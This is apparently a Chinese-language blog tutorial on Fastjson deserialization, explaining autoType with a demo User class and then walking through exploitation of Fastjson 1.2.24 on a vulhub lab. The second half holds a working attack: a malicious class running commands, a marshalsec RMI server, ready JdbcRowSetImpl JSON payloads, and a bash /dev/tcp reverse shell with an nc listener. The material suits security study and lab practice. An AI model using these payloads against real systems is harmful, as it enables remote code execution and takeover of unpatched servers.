反序列化渗透与攻防(四)之Fastjson反序列化漏洞
Fastjson反序列化漏洞
Fastjson介绍
Fastjson是一个阿里巴巴开源的一款使用Java语言编写的高性能功能完善的JSON库,通常被用于将Java Bean和JSON 字符串之间进行转换。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。但是,从诞生之初,fastjson就多次被爆出存在反序列化漏洞。并且,每次都和autoType有关!那么,什么是autoType呢?
autoType
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
但是,fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。
其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1:基于属性
2:基于setter/getter
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json
Fastjson反序列化实列
首先我们定义一个User类
public class User {private String name; //私有属性,有getter、setter方法private int age; //私有属性,有getter、setter方法private boolean flag; //私有属性,有is、setter方法public String sex; //公有属性,无getter、setter方法private String address; //私有属性,无getter、setter方法public User() {System.out.println("call User default Constructor");}public String getName() {System.out.println("call User getName");return name;}public void setName(String name) {System.out.println("call User setName");this.name = name;}public int getAge() {System.out.println("call User getAge");return age;}public void setAge(int age) {System.out.println("call User setAge");this.age = age;}public boolean isFlag() {System.out.println("call User isFlag");return flag;}public void setFlag(boolean flag) {System.out.println("call User setFlag");this.flag = flag;}@Overridepublic String toString() {return "User{" +"name='" + name + '\\'' +", age=" + age +", flag=" + flag +", sex='" + sex + '\\'' +", address='" + address + '\\'' +'}';}/* interface Fruit {}class Apple implements Fruit {private BigDecimal price;//省略 setter/getter、toString等}*/
}
然后我们在新建一个JsonTest类进行序列化和反序列化操作
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;public class JsonTest {public static void main(String[] args) {// 从1.2.25开始,autotype默认关闭ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 序列化字符String serializedStr = "{\\"@type\\":\\"com.wuya.test.User\\",\\"name\\":\\"wuya\\",\\"age\\":66, \\"flag\\": true,\\"sex\\":\\"boy\\",\\"address\\":\\"china\\"}";//System.out.println("serializedStr=" + serializedStr);System.out.println("-----------------------------------------------\\n\\n");//通过parse方法进行反序列化,返回的是一个JSONObject]System.out.println("JSON.parse(serializedStr):");Object obj1 =JSON.parse(serializedStr);System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());System.out.println("parse反序列化:" + obj1);System.out.println("-----------------------------------------------\\n");// 通过parseObject,不指定类,返回的是一个JSONObjectSystem.out.println("JSON.parseObject(serializedStr):");Object obj2 = JSON.parseObject(serializedStr);System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());System.out.println("parseObject反序列化:" + obj2);System.out.println("-----------------------------------------------\\n");// 通过parseObject,指定为object.classSystem.out.println("JSON.parseObject(serializedStr, Object.class):");Object obj3 = JSON.parseObject(serializedStr, Object.class);System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());System.out.println("parseObject反序列化:" + obj3);System.out.println("-----------------------------------------------\\n");// 通过parseObject,指定为User.classSystem.out.println("JSON.parseObject(serializedStr, User.class):");Object obj4 = JSON.parseObject(serializedStr, User.class);System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());System.out.println("parseObject反序列化:" + obj4);System.out.println("-----------------------------------------------\\n");}}
然后右键运行,这是代码运行后的效果:
Fastjson序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列化
反序列化的时候,会调用成员变量的set方法,publibc修饰的成员全部自动赋值
Fastjson中反序列化的方法有两种:
JSON.parseObject() 返回实际类型对象
User user1 = JSON.parseObject(serializedStr, User.class);
JSON.parse() 返回JsonObject对象
Object obj1 =JSON.parse(serializedStr);
Fastjson1.2.24反序列化漏洞复现
1、vulhub启动靶场
使用docker搭建靶机环境,进入1.2.24-rce
docker-compose up -d
检查端口是否开放
docker-compose ps
访问目标服务器路径,如下
我们向这个地址POST一个JSON对象,即可更新服务器端的信息
curl http://192.168.0.112:8090/ -H "Content-Type:application/json" --data '{"name":"wd","age":20}'
{"age":20,"name":"wd"
}
然后我们编辑恶意类LinuxTouch:
public class LinuxTouch {public LinuxTouch(){try{Runtime.getRuntime().exec("touch /tmp/fast-success.txt");}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){LinuxTouch e = new LinuxTouch();}
}
javac LinuxTouch.java
这是我们编译好的恶意类:
这里注意我编译java的版本,如果你复现不成功,可能是java版本的问题
2、Kali使用python启动HTTP服务,存放恶意类
python -m http.server 8089
我们这里kali机器的IP是192.168.0.112
3、Kali 用marshalsec启动LDAP/RMI服务
最后,我们使用marshalsec-0.0.3-SNAPSHOT-all.jar起一个RMI服务器,监听9437端口,并制定加载远程类 LinuxTouch.class
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.112:8089/#LinuxTouch" 9473
4、启动BP,数据包攻击
提交如下payload
POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://192.168.0.112:9473/LinuxTouch","autoCommit": true}
}
可以看到我们这边监听也收到了请求
上靶标tmp目录查看,可以看到生成了success文件,由于我们这里使用的靶场是vulhub搭建的,所以生成的文件在docker的环境里
docker ps -a
docker exec 2d4a5ccec2db ls /tmp
5、Kali使用netcat监听端口,建立反弹连接
如果想要建立反弹连接,LinuxTouch.java就得修改为反弹shell的命令了,我们这里新建一个Exploit类
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{ public Exploit() throws Exception { Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/53 0>&1"}); InputStream is = p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { System.out.println(line); } p.waitFor(); is.close(); reader.close(); p.destroy(); } public static void main(String[] args) throws Exception { }
}
然后重复上面的步骤,kali机器开启监听
nc -lvvp 53
提交如下payload
POST / HTTP/1.1
Host: 192.168.0.112:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 146{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://192.168.0.112:9473/Exploit","autoCommit": true}
}
kali机器收到监听